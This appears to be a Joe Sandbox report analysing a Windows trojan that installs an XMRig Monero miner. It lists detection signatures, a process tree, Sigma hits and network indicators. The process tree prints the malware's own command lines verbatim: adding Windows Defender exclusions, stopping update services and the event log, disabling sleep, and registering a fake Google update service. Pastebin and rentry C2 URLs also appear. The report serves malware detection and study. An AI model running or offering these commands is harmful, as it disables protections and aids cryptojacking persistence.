Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe

Overview

General Information

Sample name:SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe
Analysis ID:1543361
MD5:c441be4f7fd0f07fdcf94657c624c3da
SHA1:bedd1f5d2feb959599b370590f62f02cbb3d2d3f
SHA256:47c6484dde4d9ca23a7667b1b71c5ed88d7cdd3dccf57485333ceda0153e5684
Tags:exe
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
System process connects to network (likely due to code injection or exploit)
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Connects to a pastebin service (likely for C&C)
DNS related to crypt mining pools
Found direct / indirect Syscall (likely to bypass EDR)
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the hosts file
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses powercfg.exe to modify the power settings
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe (PID: 7652 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe" MD5: C441BE4F7FD0F07FDCF94657C624C3DA)
    • powershell.exe (PID: 7704 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7952 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 8044 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 7960 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8036 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8092 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8140 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 8188 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7288 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7320 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7404 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 3640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4404 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7444 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7436 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7540 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 5880 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • Updater.exe (PID: 6552 cmdline: C:\ProgramData\GoogleUP\Chrome\Updater.exe MD5: C441BE4F7FD0F07FDCF94657C624C3DA)
    • powershell.exe (PID: 6828 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 4352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 1528 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 2176 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 3208 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2288 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2800 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2916 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 4004 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 6100 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 3960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4084 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 3996 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 4332 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 4672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • conhost.exe (PID: 4456 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • explorer.exe (PID: 7744 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000003B.00000002.3836485970.0000000000F3A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
      0000003B.00000003.1503060227.0000000001A07000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
          0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
              Click to see the 4 entries

              Sigma Signatures

              Change of critical system settings

              barindex
              Sigma detected: Disable power options
              Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ParentProcessId: 7652, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7288, ProcessName: powercfg.exe

              System Summary

              barindex
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ParentProcessId: 7652, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7704, ProcessName: powershell.exe
              Sigma detected: Powershell Defender Exclusion
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ParentProcessId: 7652, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7704, ProcessName: powershell.exe
              Sigma detected: New Service Creation Using Sc.EXE
              Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ParentProcessId: 7652, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto", ProcessId: 7436, ProcessName: sc.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ParentProcessId: 7652, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7704, ProcessName: powershell.exe

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Sigma detected: Stop EventLog
              Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ParentProcessId: 7652, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7540, ProcessName: sc.exe

              Suricata Signatures

              ⊘No Suricata rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeAvira: detected
              Antivirus detection for dropped file
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeAvira: detection malicious, Label: TR/Kryptik.ilfwl
              Multi AV Scanner detection for dropped file
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeReversingLabs: Detection: 60%
              Multi AV Scanner detection for submitted file
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeReversingLabs: Detection: 60%
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

              Bitcoin Miner

              barindex
              Yara detected Xmrig cryptocurrency miner
              Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
              Source: Yara matchFile source: 0000003B.00000002.3836485970.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000003.1503060227.0000000001A07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.3836485970.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000003B.00000003.1503060227.00000000019FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 7744, type: MEMORYSTR
              DNS related to crypt mining pools
              Source: unknownDNS query: name: xmr-eu1.nanopool.org
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Updater.exe, 00000022.00000003.1474645165.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, pjjtwoljkwri.sys.34.dr

              Networking

              barindex
              System process connects to network (likely due to code injection or exploit)
              Source: C:\Windows\explorer.exeNetwork Connect: 54.37.137.114 10343Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 104.20.4.235 443Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 51.89.23.91 10343Jump to behavior
              Connects to a pastebin service (likely for C&C)
              Source: unknownDNS query: name: pastebin.com
              Source: global trafficTCP traffic: 192.168.2.10:49786 -> 54.37.137.114:10343
              Source: global trafficTCP traffic: 192.168.2.10:49804 -> 51.89.23.91:10343
              Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
              Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
              Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /raw/VMnMCaJF HTTP/1.1Accept: */*Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6
              Source: global trafficDNS traffic detected: DNS query: xmr-eu1.nanopool.org
              Source: global trafficDNS traffic detected: DNS query: pastebin.com
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl/
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.cloudflare.com/origin_ca.crl7
              Source: Updater.exe, 00000022.00000003.1474645165.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, pjjtwoljkwri.sys.34.drString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
              Source: Updater.exe, 00000022.00000003.1474645165.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, pjjtwoljkwri.sys.34.drString found in binary or memory: http://crl.globalsign.net/Root.crl0
              Source: Updater.exe, 00000022.00000003.1474645165.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, pjjtwoljkwri.sys.34.drString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
              Source: Updater.exe, 00000022.00000003.1474645165.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, pjjtwoljkwri.sys.34.drString found in binary or memory: http://crl.globalsign.net/primobject.crl0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_ca0
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.cloudflare.com/origin_cai
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmp, Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C8B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
              Source: Updater.exe, 00000022.00000003.1474251124.0000027AE3C80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/VMnMCaJF
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/y9ce3ing/raw
